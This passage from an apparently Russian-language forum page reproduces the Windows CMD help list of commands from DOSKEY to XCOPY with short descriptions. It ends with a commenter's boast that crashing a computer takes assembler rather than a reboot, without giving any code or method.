    DOSKEY Редактирование и повторный вызов командных строк; создание макросов.
    ECHO Вывод сообщений и переключение режима отображения команд на экране.
    ENDLOCAL Конец локальных изменений среды для пакетного файла.
    ERASE Удаление одного или нескольких файлов.
    EXIT Завершение работы программы CMD.EXE (интерпретатора командных строк).
    FC Сравнение двух файлов или двух наборов файлов и вывод различий между
    ними.
    FIND Поиск текстовой строки в одном или нескольких файлах.
    FINDSTR Поиск строк в файлах.
    FOR Запуск указанной команды для каждого из файлов в наборе.
    FORMAT Форматирование диска для работы с Windows.
    FTYPE Вывод либо изменение типов файлов, используемых при сопоставлении по
    расширениям имен файлов.
    GOTO Передача управления в отмеченную строку пакетного файла.
    GRAFTABL Позволяет Windows отображать расширенный набор символов в графическом
    режиме.
    HELP Выводит справочную информацию о командах Windows.
    IF Оператор условного выполнения команд в пакетном файле.
    LABEL Создание, изменение и удаление меток тома для дисков.
    MD Создание папки.
    MKDIR Создание папки.
    MODE Конфигурирование системных устройств.
    MORE Последовательный вывод данных по частям размером в один экран.
    MOVE Перемещение одного или нескольких файлов из одной папки в другую.
    PATH Вывод либо установка пути поиска исполняемых файлов.
    PAUSE Приостановка выполнения пакетного файла и вывод сообщения.
    POPD Восстановление предыдущего значения текущей активной папки,
    сохраненного с помощью команды PUSHD.
    PRINT Вывод на печать содержимого текстовых файлов.
    PROMPT Изменение приглашения в командной строке Windows.
    PUSHD Сохранение значения текущей активной папки и переход к другой папке.
    RD Удаление папки.
    RECOVER Восстановление читаемой информации с плохого или поврежденного диска.
    REM Помещение комментариев в пакетные файлы и файл CONFIG.SYS.
    REN Переименование файлов и папок.
    RENAME Переименование файлов и папок.
    REPLACE Замещение файлов.
    RMDIR Удаление папки.
    SET Вывод, установка и удаление переменных среды Windows.
    SETLOCAL Начало локальных изменений среды для пакетного файла.
    SHIFT Изменение содержимого (сдвиг) подставляемых параметров для пакетного
    файла.
    SORT Сортировка ввода.
    START Запуск программы или команды в отдельном окне.
    SUBST Сопоставляет заданному пути имя диска.
    TIME Вывод и установка системного времени.
    TITLE Назначение заголовка окна для текущего сеанса интерпретатора
    командных строк CMD.EXE.
    TREE Графическое отображение структуры папок заданного диска или заданной
    папки.
    TYPE Вывод на экран содержимого текстовых файлов.
    VER Вывод сведений о версии Windows.
    VERIFY Установка режима проверки правильности записи файлов на диск.
    VOL Вывод метки и серийного номера тома для диска.
    XCOPY Копирование файлов и дерева папок.
    Вызываем командную строку так Пуск->Выполнить->и в появишемся окошке пишем cmd

  30. ламеры, перезагрузить комп и все , на ассемблере нуно писать, шоб компу сразу мозг взорвать …. и усе )

1 2 3 4 5 8
Добавить комментарий




*